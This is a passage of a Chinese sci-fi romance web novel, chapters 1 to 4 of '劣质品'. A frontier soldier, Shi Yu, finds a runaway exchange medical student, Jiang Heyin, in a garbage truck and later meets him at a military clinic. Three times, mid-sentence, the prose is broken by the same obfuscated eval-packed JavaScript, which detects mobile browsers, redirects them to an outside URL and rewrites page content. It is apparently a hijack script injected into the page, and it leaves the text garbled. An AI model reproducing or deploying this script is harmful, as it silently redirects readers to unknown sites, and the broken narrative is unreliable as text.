《劣质品[GB]》 1. 第 1 章 像大大小小无数虫潮中的一个,“纳尔逊虫潮”大张旗鼓地来,悄无声息地走,特战部队从星海返航,转而再换大批机械拾荒者去清理轨道上散乱的杂物与破碎尸体。 时与重新穿过屏障,脚下外骨骼与基地地面相触发出几不可闻的轻盈声响。 仿佛她身体的一部分,心念一动间便听到“嗒”的轻声弹响,外骨骼从她身上主动剥离,最终压缩成公文包大小的方正金属块落在旁边。 周围都是窸窸窣窣外骨骼折叠的声音,这次的作战时间相对短暂,队伍之中无人重伤、无人阵亡,众人的神经在外骨骼脱落的瞬间也都松弛下来,时与抬手对他们打了个“解散”的手势,立刻便有说笑声吵吵闹闹地响起。 “嘿,”一只胳膊伸过来搂住她的脖子,一个红色短发的女人伸过脑袋,对她努努嘴,“放多久?” “三十天。”时与任由她晃荡自己,关掉耳侧的通讯器,“监测说下次虫潮至少在九十天以……” 苏鸿才不听她说完,她听到一半便得到想要的消息,回头对众人大喊:“朋友们,这次假期三十天!芜!” “哦!!”一时基地特战部的返回舱尽是冲顶的欢呼声。 特战部不过四十人,算是第八星从边边角角好不容易凑起来的奇葩花园,因而并不像普通的队伍那样讲求纪律,时与随他们去,甚至简短报告完后自己也成了他们中的一员。 世界上所有的人下班放假都很积极,众人将外骨骼存放好,三三两两离开返回舱。时与拉着苏鸿等到最后,她观察众人状态,顺便也威逼这个有钱的红头发晚上请自己吃点高级的东西报答虫巢中的某某恩情,并不觉得自己在做什么借用职权压迫下属的坏事。 很显然苏鸿也没有这个意识,清剿结束再断后收尾,两人返航,即使身上还带着隐痛的伤口却也都不在意,她们拉拉扯扯进到空闲的电梯里,楼层的数字接连下滑,直到“叮”一声响,数字定格在“15”。 门缓缓打开,时与显然心情很好,她四处找茬,指指电梯上的小显示屏抱怨,说这提示音听起来烦人,不知道的还以为进的是微波炉,不好不好,很不吉利。 吉利当然是作战第一要事,苏鸿立刻搭腔,说你说得对,下回要让人把这个改成火辣主播晚安曲。 可惜火辣主播只晚安到一半就被人掐住了脖,时与听她闭嘴立刻也似有所感,她偏头,见外头站了个褐色短发的青年。 时与顿时也略微心虚,但看身边苏鸿那副安静如鸡的傻样,脑内天人交战一会儿,还是决定先半握拳头抵住唇角,对她发出一声隐晦的嗤笑。 青年并不理会苏鸿如何,只对她不满道:“姐姐。” 时与清清嗓子端正姿态,两个人立刻从勾勾搭搭的样子还原成正经人的做派。青年让了让,放她们从门口出来,他手里还抱着一叠文件,一看就知道肯定没休假,是见到返航的消息专门来堵人的。时与时常对此百思不得其解,每次都能猜中她逃跑的电梯就很神奇,也不知道时夏这是用了什么神奇手段。 此时走廊无人,两个alpha像两只小鸡到墙根排排站好,本次作战从发现虫巢到清剿干净不过三天,危险性比较低,但时夏依旧等得心焦。 他挨个打量两人的情况,伸手先按上时与肋侧,又捏苏鸿小臂,不出所料听到两人一人一口倒吸两口冷气。 “想去哪?”时夏不抬头,专注在二人身上再找第三口冷气的排风口,同时随口问起让她们汗流浃背的新鲜问题。 有亲人很好,但他在意你就会这样管着你,受伤就要吃药忌口,就要控制饮食饮酒,就要健康作息,时与并不觉得自己的烂命有多需要小心翼翼。 怕他再按到哪儿,时与扭身躲他的手,两人你来我往,跳舞似的,她抗拒道:“没有了,真没了,我这回轻伤就下火线。” “对对,”苏鸿那边也当自己是海草,躲着他的手乱扭,“很懂事,我们正准备结伴去躺躺医疗仓……” 这话说得时夏和时与一起瞪她,苏鸿终于自己也想起哪里不对,缩缩脖子不敢再吱声。 第八星就是联盟中排行最末尾的“近荒星”,频繁的虫潮、恶劣的环境条件让这颗星球和上头的居民一样几乎成为联盟区中的“流浪汉”,与其他星球那些讲究人权崇尚个性的人类相比,第八星无论军民都更倾向于被归类为一种消耗品,民生、教育、医疗水平全面落后,唯独军事武器研发和赌博贪污等令一部分人身心愉悦的娱乐活动称得上遥遥领先。 这般环境下,军区能给每位抵御虫潮的士兵配置能武装全身的装备,充足到足够他们向外转卖换钱——武器不太值钱又实在性命攸关,很少有人会这么做,但同时早该普及的医疗仓全军却总共只配备了两个,型号和数量一样可笑,五十年前的产品,只供中校以上的人申请使用。 时与以前图新鲜特地去过两回,还不错,确实比她口服外敷各种药材恢复起来快得多,但很可惜以后再也用不上了,具体原因不提——总之错不在她,是被苏鸿害得连了坐。 时与见她蔫巴,立刻就抓住空隙踹她,动作无来由,纯属想起来就发泄,将她踹的一个踉跄,差点肉身跟着精神一起熄火,苏鸿懂得很,她借势后退,向褐发青年卖乖:“哎呀我现在真要去医疗部了……你姐姐……啊,嘶!” 时夏早就看习惯alpha之间的打闹,他对时与撇嘴,一手抱着自己的文件,一手赶羊似的将她们往旁边赶,十五楼是军区的枢纽层,向各处走都有路径,两个alpha当然乖乖听话,嘴上医疗部医疗部的叫,实际找了个的方向就撒腿开溜。 两人要走,时夏还不放心,最后对时与叮嘱:“我今天正常下班,十点到家,不许出去玩,听见没有!” 时与闷头喊“哦!”,苏鸿倒是回头:“我呢,也关心我一下呗!诶!” 时夏扭头不理她,就这么守在门口抓住两人训了一顿便没再多说什么,估计自己也有事要做,向二人反方向走了。 苏鸿只得讪讪回身,手肘戳戳时与肚子,唏嘘道:“你弟弟对我忽冷忽热,钓的我好像一条在被收养边缘的流浪狗,好可怜。” 时与嗤笑:“根本就乐在其中。” 苏鸿嘿嘿,时夏脚步匆匆,很快不见了踪影。 时与向苏鸿努努嘴,向着出口方向轻一撇头,苏鸿会意却有些犹豫,暧昧期的alpha最听话,她向时与确定道:“真不先去医疗部?” 时与说:“快点,饿死我了,还医疗部,磨磨蹭蹭的,十点之前没到家就杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14488217|154675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了你。” 苏鸿乐了,开口正要笑她像叛逆期的中学生,然而没等开口,耳畔却突兀响起一阵通道暂时封闭的提示音,接着便见到走廊两侧有淡蓝色薄膜浮现。 通道封闭是常有的事,特别她们正在离军区出入口不远的地方,碰到运输、支援、迫降再或者大人物下凡考察都要有这个步骤。苏鸿先是一愣神,调侃堵在喉咙口又咽回去,时与也跟着发出不耐烦的声音,她拖长腔“哎呀”一声,躁了吧唧地挠挠头,抬腿走向一边的玻璃幕墙。 通道封闭时间往往不长,但也是以小时计数,具体时间的长短要依照实际情况判断:支援、迫降就短,大人物下凡就长,苏鸿跟过去看了一眼,好像想起什么,眼睛一眨,虹膜上浮现出今天的日期来,贱梭梭可怜道:“看来有人今晚只能紧赶慢赶才能赶上门禁。” “什么,”时与目光透过玻璃,她眯起眼睛,只见到一个小型的舰艇缓缓降落,外形上不见有星海的迷彩,也没有破损,挺光鲜的模样,应当是民用的。然而这更奇怪,虫潮刚刚结束,她搞不懂对方是从哪个犄角旮旯冒出来,略作猜测,“那些混蛋吃饱了撑得又来扶贫下乡?真会挑时候。” “差不多。” 苏鸿双手插兜,大小姐偶尔闲得无聊会偷翻家长的邮件,因而对外的事情上她的消息比时与灵通些,她解释道:“和预期时间对得上,应该是第二星的学生,过来做交流。” “第二星?”时与这下有点惊讶了,这听起来简直荒谬,“来咱们乡下交流什么,人性调查吗?看看穷山恶水能出什么样的刁民?” 苏鸿也啧啧:“学医的,过来作作秀丰富履历。” 时与:“……来第八星交流医学,这是简历黑历史吧?” “非也。”苏鸿看下方星舰停稳,四周喷出一段降温的雾气,滴滴声透过玻璃传进来,舰门逐渐开启,她说,“来第八星的经历不加到学术栏,要算在公益里。” 时与服了,左右目前出不去,便干脆蹲下来看看热闹。 一旁早有接驳车停好等待,星舰上先下来的是一个军服寸头的女性,像是带队的老师,但时与觉得更像保镖,她站在星舰的出口,指挥学生们出来,看表情和口型似乎话语间挺温和。 时与在脑内给她加上配音,捏着嗓子装样,然后就看见一群细皮嫩肉的小姐少爷鱼贯而出。 她把苏鸿也拉下来,突然有点好奇。她问:“没记错的话,加西亚医学部在东区,那鬼地方,难不成还要再从咱们这调人守着?” “嗯?”苏鸿也不讲究,她盘腿坐下,“不去加西亚。” 相比星舰上的人数,接驳车显然有点大,孩子们各自去找自己的行李,看起来挺有秩序,苏鸿说:“都说了人家是来做公益的。” 时与撑着脑袋盯着这群人看,忽见其中一人抬起了头,风吹过他银色的长发,显眼的像颗发光的宝石。 苏鸿说:“就留在军区,给咱们服务的。” 时与手肘顶顶她:“哎。” 时与说:“打个赌。” 时与手指点点玻璃,指向一个银发的影子:“那个真好看。” 苏鸿:“?” 时与挑眉,吹了声口哨:“十块钱,赌我三十天内搞到手。” 2. 第 2 章 江鹤吟还是头一次到眼前这幅场景之中。 接驳车里有刺鼻的油味儿,皮制的座椅像在太阳下闷了三天,又臭又旧,缝隙已经发黑,还有地方干脆已经有深深的划痕,露出里头金属的框架来。 他带着自己的行李站在车上,周围人也大多都是站着的,除了些受不了长途跋涉的同学,没人想要让自己的衣服接触到肮脏的座位。他们得在这里待四十五天,带来的衣物有限,这里想坐下的话,回去必然得换洗。 接驳车平稳驶出星舰的停泊坪,带队老师正向他们重申这段交换活动的注意事项,嗡嗡嗡嗡一二三四五,一路说了许多遍,他都快会背了,懒得听,扭头瞥向窗外去看那些逐渐离他们远去的景色。 他之前也到过军区——不过是第二星的,看起来比这里要庄严光鲜不少,窗明几净,不知道的还以为是什么科研院所,不过如果只论数据,第二星军区的面积和装配反而不如这里,毕竟是安全区,投入和重视的程度都比不上前线。 接驳车行驶起来很安静,只有老师的声音絮絮叨叨,江鹤吟站在车辆左侧飘忽忽走神,忽然感到脚下传来一点轻微的振动,接着耳畔也莫名听到什么声音,像是哪里传来了爆炸声。 学生当然待不住,他们之中有人惊呼,然后一群人一窝蜂看向某个方向,江鹤吟也好奇,他踮起脚跟着向右边看,那边应当是军士的训练场,离道路很远,这样的角度只能远远两个巨人般的身影缠斗在一起,身上的热武器被卸下,正在赤手空拳相撞。 ——不过对它们说赤手空拳好像不太妥当,他身旁已经有人兴奋出声:“机甲!R-367!” 于是江鹤吟让出位置,身旁那人自然挤过来,第二星来这里的学生们也不都是为了一段漂亮的履历,也有些人纯为爱好——众所周知,第八星有联盟军区最好的装备,最先进的机甲和最活跃的部队,温室里的花朵想来吹吹寒风也无可厚非。 毕竟有些东西在安全区一辈子都见不到。 江鹤吟低头继续放空,他与诸人不同,来这里既不为经历也不为爱好,纯粹是想离家出走——离家出走,且在家人允许的范围内。 手指默默按上胳膊,那边有一道很小的划痕,是他好不容易搜罗来的芯片,说是能屏蔽身上原有芯片的信号,不知道是八星的网本来就差还是真的有用,他眨眨眼,目前脑机的芯片只能单机连接,没办法上网。 有点不适应,他晃晃脑袋,但确实想清净一下,所以倒是也还好。 收不到家里人的消息,爽。 学生们从停泊坪离开并不花太长时间,但封闭并没因此解除,处理刚降落的舰艇还要再等一会儿。苏鸿甩手嫌弃:“十块钱,打发奴隶呢?” 时与从善如流:“你想赌多少?” 苏鸿:“不赌,你输了就答应让我和夏夏单独吃饭。” 时与抬手要打:“你想死?” “等等,”她手停住,缩回来放在嘴边,好像自己的拳头是个热武器似的吹了吹,“我赢了呢?” 苏鸿:“我给你十块钱。” 时与:“给我死。” 她倒也不是真的对人一见钟情或是怎样,只不过闲得无聊就想找由头闹事,众所周知alpha无聊的人生往往被三件事占满:打架、骂人还有不健康的娱乐项目,时与边打边骂边逼苏鸿与她进行小数目赌博,人生三大事在这一刻化零为整归于圆满。 苏鸿胳膊大腿和后背都受了伤,小伤口才结痂不久,她怕再崩开,不敢太用力去反抗,但又被压的难受,只得向时与一呲牙,时与瞬间被什么东西叼住领子扯了起来,温热的鼻息打在后颈上,她对苏鸿比了个鄙视的手势,然后便被身后那豹子甩甩头丢到一边。 那是苏鸿的精神体,说是豹,实际蹲坐在那里却仿佛一座小山,特战部的四十人精神体各有各的异变,她们二人相似,时与比她情况稍复杂点,但精神体都是原型物种的放大版,异变方向在特战队中算是简单。 那花豹兀自打了个呵欠,起身慢悠悠挪动到苏鸿身边,行动间身上都是肌肉起伏的痕迹,动作却很优雅,它好像有点累,巨大的身子围绕在苏鸿周围,又伸出舌头对着她的脑袋一通乱舔。 两人终于消停,如今无聊无事又无活动空间,视线一对,便都干脆就着现在的姿势躺下来,时与躺到苏鸿身边,沾她精神体的光,蹭了个巨大的毛绒抱枕,借着封禁的空隙平静小憩了一会儿。 直到天色完全变暗,外面才终于又响起一阵封锁解除的提示音,时与眨眼,一串数字浮现。 她坐起来,看着时间的脸色显然无语:“八点半。” 苏鸿向她伸手,示意她把自己拉起来,身后精神体瞬间消散无踪,这时间卡得很巧,她嘲笑:“哎呀,回家就门禁,可喜可贺。” 时与翻白眼。 不像苏鸿这样的大小姐,她当然没有自己的房产,如今住的是军部分下来的宿舍,以前住在军部蜂巢里,勉强混出人形后才和时夏一起打报告申请了个不大不小的套间,离工程后勤部近,与特战部就隔得远,她得倒好几班车才能回去。 要出军部还能蹭苏鸿的车,但不出去看她在面前嘚瑟就觉得纯属碍事,时与挥手赶她:“滚滚滚。” 苏鸿道:“嗻。” 两人分开,苏鸿继续往出口去,时与却只好转身原路返回,走另一条路去找那些属于她的、不太灵便的“公共交通”——第八星军部的运输车辆有固定线路且日夜川流不息,只需要从中随机选一辆路线合适的,司机认识就蹭驾驶室,不认识就硬爬车顶,反正她有的是技术和力气。 或许人的精神体与一个人的性格或命运确有关联,她想,她是蜘蛛,爬个车顶属实常见。 然而很遗憾今天的司机并不是她相处过的同僚,她在楼上远远瞭望一眼,选了个监控的盲区,等车行驶倒足够近的距离便直接纵身一跃。 货车款式很老旧,甚至还是带货斗的款式,在其他星区早淘汰了不知多少年,但时与最喜欢这种,这种车上下超轻松,且绝对不会被旁人发现。 她如一片枯叶轻盈落下,好像脚下依旧踩着外骨骼一般悄无声息。这辆车运的是回收下来的军服与报废的武器,如今天色黑沉,道路上的灯也因为供电电压的不足而显得昏暗,时与吹声口哨,默数三二一,又从驾驶室顶端看准了后头货斗里的那堆破衣烂衫跳过去。 落地如预期中柔软,身下却闹鬼似的传来一声短促的惊叫,时与也被这声音吓了一跳,差点条件反射给这堆东西一拳。 那声音又轻又惊慌,时与后退,先抬手安抚住虚空中伸出来的一截花色蛛腿,她冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14488218|154675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静下来,心说别是碰上什么霸凌事件,这要送去销毁的破烂里头其实裹着军队哪个角落里一个不合群的小兵。 “别说话,闭嘴。” 对军士而言,命令往往比柔声安抚更有用。时与遵循往日先例,先低声呵斥了一句,而后伸手去翻扯这堆东西,企图先将人挖出来。 掩盖物愈发轻薄,身体上压抑厚重的窒息感逐渐消散,心理上却紧张的几乎窒息。江鹤吟浑身直冒冷汗,他心脏跳的比车辆的颠簸还密集,双手紧紧握着一支刚从货斗中捡来的枪支。 最后一件盖在身上的旧衣被丢开,他几乎立刻弹跳起来,枪口对准来人,准备好的威胁说辞还没出口,便觉得眼前一花。 他整个人不知什么怎么被摔到地上,一阵剧痛从他后脑传来,手里的枪也被夺走,抵上他的下巴,枪械传来“咔哒咔哒”的机械声,紧接着他又听到一声疑惑的“嗯?” 手指来回按几次扳机,这枪毫无反应,时与今晚无语的情绪终于在此刻飙升至巅峰,心里感叹这什么玩意,随手将枪丢到一边。 值得疑惑的可不仅是枪,她眯起眼睛,一手挑起这人从帽子里露出来的一缕银白色发丝,手指再向下探,摸到一个熨的直挺挺的制服领子。 狗屎,今天是不是杀贫血了,怎么在垃圾车里见到个少爷。 还恰好是这个最显眼的,不能吧,这算不算今天造的口业? 时与心中已经初步确认到对方身份,面色却丝毫不变,她一手不动声色继续按着对方脖子,偷摸占了点便宜,另一只手则抽出了自己的枪,重新抵上对方额头。 “嘿,”她反正是想不通第二星来的高贵人类怎么会选这么个运垃圾的车坐上来,然而对方这身手也实在有点不行,不像能支撑他做什么坏事的样子,她微微偏头,问道,“想不想先自我介绍一下?” 冰凉的枪口接触皮肤引得身体翻起一阵阵鸡皮疙瘩,江鹤吟眼泪在眼眶里打转,喉咙像被什么堵住,害怕的几乎失声。 他亲手植入的芯片为他断开了脑机的连接,现在连求救信号也无法发出,对方只要手指微动,他就会悄无声息的死在这辆混乱肮脏的车上。 空气中有血腥味传过来,是来自那堆旧衣还是来自对方的身体? 大脑空白,身体跟着颤抖,他张张口却没发出声音,直到感觉枪口从额头上移开,冰凉的枪管在脸颊处拍了拍,蓄起的眼泪才终于流下来。 时与:……。 时与也起了点鸡皮疙瘩,她这种刁民哪里见过被人按着光知道哭的柔弱系人类,鬼情景实在离谱,不知道的还以为她是强抢民男的混蛋。 “说话,”她打量身下这人,有点演不下去,心说长得好看就是不一样,垃圾车里抹眼泪都像美人鱼掉珍珠,但依旧皱眉道,“路边的野狗都会汪两声呢,你哑巴吗?” 江鹤吟的眼泪从没如此充沛,他害怕极了,强逼自己开口,结果半个“我”字出口,绷紧的喉咙只发出个凄凄惨惨的残破音节,时与还没说什么,他自己先受不了了,闭上嘴自暴自弃般哭出声来,嘴唇都在颤。 好家伙,看来每个美人鱼上岸都得被毒哑。 时与也没忍住,喉咙里发出一声短促的哼笑,车辆轰隆隆压过地面的坑洼,车身颠簸间,江鹤吟见到微弱的光打在她的侧脸。 3. 第 3 章 时与最终还是把他放开,她抬头看看上方飞快后退的建筑,知道这里离她要换车的地方还远。 那少爷像个任人搓圆揉扁的史莱姆,即使放开钳制也还是保持原来那个姿势不动,只低低的哭,然后默默抹眼泪,时与一动他就一颤,有种荒谬的有趣感,让人很想真做点什么动作吓唬他。 江鹤吟自觉费了好大功夫才爬上这辆车,如今碰到时与只能算是功亏一篑。他们一行人来的不巧,降落前刚刚遇到一场虫潮,八军区各处都在匆忙运转进行善后收尾,众人各司其事,因而对他们的保护——或者说监管并不严格。 他从分给他们的宿舍出来,一路上几乎没受到什么阻拦,当然也有人见到他一人独自行走上来盘问的,他拿着学生证,手里拎着一袋他准备好的能过安检的荒野求生用品——什么电击棒麻绳一类的玩意,用布袋一包,随意扯了个慌说是要扔垃圾。 那人应当也不过是走个过场,江鹤吟的理由从他左耳朵进去后掠过滑溜溜的大脑皮层,又从右耳朵钻出来。他打呵欠,摆摆手就将他轻易放过,甚至还给他指了个就近的回收点。 而江鹤吟也当真转身朝着对方指的方向去,这当然也算是他计划中的一种逃跑路径,垃圾车、下水道、建筑夹层中的运输管……谁都知道这些都是经典的越狱桥段,它们总是通往自由和光明。 ——前途一片黑暗。 他一边抹眼泪一边断断续续回答时与的问话。 时与蹲在他身前扶额掩面,怀疑他们两个人里头起码有一个脑子出了问题,否则不应该出现这么离谱的戏码,她拧起眉头敲敲车壁:“你不查一查这车往哪儿走吗?少看点电影,你真当第八星是荒星呢,还外围垃圾场……这有个屁垃圾场,你再藏一会儿就和这些破烂一起进焚化炉火化。” 江鹤吟缩起身体,把脸埋到胳膊里。 时与眼睛扫过周围,又问:“你带的那堆东西呢?” 江鹤吟声如蚊讷:“……进来弄脏了,就忘记丢到哪儿了……” 时与:“怎么不把你自己扔了呢,你看你脏的这个熊样。” “我……嗝…我涂了皮肤防护……”他眼睛简直像时与老家拧不紧的水龙头,大水滴吧嗒吧嗒往下砸,偏偏句句有回应,他小心翼翼伸出覆膜的鞋子给她展示,“……还带了防护套。” 时与服了,她头疼,清了三天虫巢,身上伤口阵阵失血都能活蹦乱跳,但和他说了没几句竟然真觉得眼前发黑。 人生气的时候偶尔也想笑,她仰头烦躁一会儿,抬起手腕对着他拍了张照片发给时夏,问他道:“你宿舍在哪,区号报给我,我送你回去。” 时夏消息回得很快,发来个问号。 时与:[碰到迷路的交换生,送他回去,晚点回。] 时夏:(小狗收到.jpg) 时夏:(小狗亲亲.jpg) 江鹤吟只觉得眼前荧光一闪,他微眯起眼睛抽抽鼻子:“十六……” 十六区,时与看看头顶的建筑,又歪头想了会儿。十六区离医疗部不远,离这里不近,还真是辛苦他能在这破车上藏这么长时间。 “起来。”时与站起来,伸手去拉他的衣领,江鹤吟站得踉踉跄跄,跟着她的脚步又爬到货斗里这些堆积起来的垃圾上。 时与道:“好了闭上嘴我现在很急,我数三二一你跟着我跳。” “等…等等!”江鹤吟浑身发软,只觉得好像四肢都不是自己的,他拉扯时与的手,请求道,“不能让车先停下来吗,等一下!” 夜间的凉风吹来,把时与的头发吹得像她的素质一样凌乱如鸡窝,她微笑:“想被通报是吗?” 江鹤吟噤声,他自己的气味被除味剂掩盖住,其他人的味道便闻的更清晰,对方信息素中不悦的情绪传过来,他当然也不愿意第一天来就丢这样大的脸面,因此不敢多说什么,只是才憋回去的眼泪又不自觉涌出来一点,他吹着凉风看下方飞快掠过的道路,好像视死如归。 时与想也不想便拉着他跳下去,也没听清到底数数没有,江鹤吟闭眼尖叫,刚刚发出声音就被一只手捂住嘴巴,想象中的疼痛并没有出现,一阵失重感后他好像又被什么吊起似的,两只脚轻飘飘落了地。 咦? 喉咙滚动,他不可思议地从自己的双脚一直看到指间,时与不耐烦的白他一眼:“走了。” “这破事……”她抱怨,一手抓住他的袖子,拖着他往回返。 大晚上倒腾了一圈,再回到家里已经将近十一点半,时与打开门,客厅静悄悄的,房间的灯还开着,中间的桌子上是一碗熬煮黏稠的稀饭。 时与鼻子凑过去嗅了嗅,碗里用的是真的米,有香味,可能加了糖,略有一点甜。 时夏刚洗漱完,听到开门的声音便从房间出来,时与动作快,此时已经坐下捧起粥喝了小半碗。 她确实饿了,营养液充饥却不饱腹,她一直不太习惯这个,怪异的冲突感让她觉得不舒服,直到这些温温热热的东西滑下食道,她的胃才终于欢呼雀跃宣告解放。 还想吃点肉,吃点辣的,吃点咸的,时与想,她抬起眼睛偷看时夏,却也正对上他的视线,发现他像是有点高兴,眼睛里闪着八卦的光。 时与太懂他,她道:“是第二星的医学生,到咱们这儿援助边疆,真是意外碰上的,不是蓄意,没想追,如果苏鸿和你胡说八道了什么那是因为我在胡扯,这次只受了一点轻伤,主要是饿,还有想问的吗?” 时夏撇嘴,听她嘴一张秃噜秃噜一堆反而不满意,轻轻踢她一脚。 时与放下碗,柔弱晕倒。 “哎呀你还躺,身上脏死了。”时夏把她拉起来,他对时与眨眼,又暗示,“omega?” 时与:“没味儿,beta,颈环也没有,应该就是人家家里养的漂亮。” 时与:“哎别动,我看看,光说别人,我弟弟养的也不错嘛,你剪头发啦?” “有休假吗,最近好好吃饭了吗?”她身子和头一起歪向一边,像贱兮兮探头看同伴的乌鸦,“你不要老是吃那些没味儿的东西, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14488219|154675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我上次带回来那么多,你也知道新鲜的东西留着不吃放在那里自己也会坏,beta就要多吃点正经的蔬菜水果还有肉,多嚼一嚼对口腔好,健康长寿……” 时夏嫌烦,他按着时与的头往后推:“吃了,哪听来的疯话。” 时与咋舌:“多吃啊,别又不耐烦。” 她这次出去主要伤到了胸腹,不过就像她自己说的那样,只是轻伤,不严重,只不过创口太大了点,又是被一群粗手粗脚的alpha处理的,现在应该还没结痂,她弓着身子,免得被他碰到伤处再倒反天罡过来说她,突然间又觉得有个什么小东西压到自己背上。 她伸手敏捷地一把抓住小东西的后脖颈,立刻听到对方抗议的“喵喵”声,那是只胖乎乎的黑足猫,时夏的精神体,还挺凶,被拎着四足腾空也没消停,张牙舞爪还想扑她。 小东西不加尾巴还比不上时与小臂长,装得再凶也不让人害怕,她伸手随意弹它一下,果不其然听到它装模作样的凄厉惨叫,时与把它递还给时夏,叹气:“你在心里骂我了。” 时夏接过猫,轻轻挠它下巴,白眼道:“人家本来是要闻闻味道亲亲你,谁让你招惹它。” 时与心说简直荒谬,这能闻吗,一闻一鼻子血,没人敢这么找事的。 “我明天休假,”时与顾左右而言他,“给你送点吃的过去吧?你和同事分一下。” 时夏拒绝,推她去洗澡。 —— 拧开水阀,舒缓的流水打在身上,浴室里蒸腾起一阵雾气。江鹤吟将脑袋抵到身前的管道上,湿漉漉的长发紧贴脊背,身上的防护层渐渐被冲干净,手指还有点颤抖。 他安全了。 他回来了多久?一小时、一天、还是一个星期? 今晚的经历实在魔幻,他从未与死亡有如此近的距离,夜风的凉意掠过头顶,鼻腔里仿佛还留有淡淡的血腥味,热水冲在身上,身体却发冷。 江鹤吟看着自己的胳膊,犹豫要不要将芯片取出来,在这里断开星域网还是有些危险。 他已经尝试过自己的出走计划,但可惜第八星不是他想象中那样能够自由行走的荒野,这里同样由不得他胡来,难怪家里人能松口让他来这边。 他臊眉耷眼地关上水,慢悠悠擦干身体,觉得自己今晚的行为有点好笑,也觉得很挫败。 行李还没收拾,他住在个不如狗窝大的房间里,先向带队老师上报了脑机故障,也不知道是哪里来的可笑坚持,他最终还是决定让芯片继续留在体内。 桌子上放了一张纸条,纸条上问他这次的服务志愿,他挺长时间没用过纸张了,拿起来扫视上面的选项。 外科、内科、皮肤、骨……他是低年级,没分科,应该去哪都是打下手观摩学习,如今还能根据自己的意愿来选择服务方向。 夜风中淡淡的血腥味又泛上来,脑中映出今晚那人在微光下的脸,江鹤吟深吸一口气,轻轻勾选了打头的那个“外科”的选项,又精心折叠两次,从房间出去,轻轻投进带队老师的信箱。 4. 第 4 章 工作第一天,江鹤吟在医疗部被指挥的团团转。 第八星的军部太大,军士的数量更是多如牛毛,外科诊室几乎每天都人满为患,即使江鹤吟不过是个刚落地的志愿交换生,大半天过去也感觉头脑阵阵发昏。 他先前料想中的“不过来打打下手”是错误的,第八星医疗部胆子不小,竟然真的敢拿他们这群学艺不精的学生当医师用,他甚至被分到单独一间诊室,此时候诊区的队伍已经排的如同长龙。 乍然被推上来很不适应,不过看得多了又觉得也还好,学校里曾经有人开过“一觉醒来,全世界医学水平倒退一千倍”的玩笑,江鹤吟倒是没想过有朝一日自己真能碰上这种情景,这里来看诊的人没有任何罕见病情,一股脑儿的外伤,清清伤口包起来就万事大吉,流水线作业似的,不知道的还以为这是个茹毛饮血阶段的原始星球。 除了血次呼啦进来的类型,也有些看上去外形完好的,但无须担心,这同样也是省心的病患,他们往往张嘴就能报出一串标准诊断报告,然后自己再给自己开一堆药要他写——八星军部最人性化的一点,医师开的药五折报销。 江鹤吟流畅将对方的要求输入,要什么就写什么——当然一开始没这么自觉,他头一遭秉持职业道德选择拒绝开药,挨了顿臭骂,脆弱的心灵差点又被弄得稀碎,还是这儿的主任听见风声,疾走过来制止了医闹。 “他要什么你就给他什么,”眼下发青的beta当时是这么说,然后对那个被掀翻的病患又补了一脚,“吃死活该,赖不到咱们头上。” 医德医风听上去实在剽悍,江鹤吟想起以前看到的一篇报道,说第八星是一颗武德充沛的星球,上上下下流着战士的血。 他深以为然。 再送一位来蹭报销的患者出去,诊室的门关上,然后又被打开一道窄窄的缝,从中看到下位患者穿着一身便装,似乎是有人同行,先是和人在外头说了些什么,紧接着灵活地挤进来,“啪”一下把同伴关在外头。 拉开对面的椅子,时与心中有点焦躁,她一向抗拒这些就医问诊的事,装都不想装,坐下便直接道:“我需要开点药。” 报菜名似的,她板着手指头数数,头都不抬:“止血两盒止痛一盒,凝胶三……四支吧,然后抗菌两盒,详细种类随便,要贵的,病历你看看情况随便写,写轻点,直接写擦伤。” 江鹤吟坐着没动。时与没听到回答,余光之中也没见这医师有动作,这才终于舍得把眼神从自己手指头上挪开,正对上江鹤吟一双灰蓝色眼睛。 坐在正对面的医师脸和头发都被包的严严实实,穿的挺干净,乍一眼还没认出来。 江鹤吟按了几下键盘:“你住院。” 时与:“。” 时与:“恩将仇报是吗?” “不是,”江鹤吟显然也不常接触这种老式的键盘,但上手的速度很快,他啪嗒啪嗒打字,认真道,“你身上血腥味比昨天还重,不要放任比较好,创面很大吧,愿意的话可以让我看看。” 时与看着他就头疼,有点后悔自己昨天非要和苏鸿口嗨那一把,看来口业造的很重,竟然还要正主亲自下凡镇压她好几次,善哉,她悔过。 时与忏悔的不真诚,早说了她不爱来医院,现在又已经在这样充满消毒水气味的地方等了好长时间,实在越待越烦,她身体稍微向前倾,带点威胁:“希望你有所耳闻,我们第八星讲究一个生死有命。” “帮人类摆脱这种状态就是医生的职责所在。” 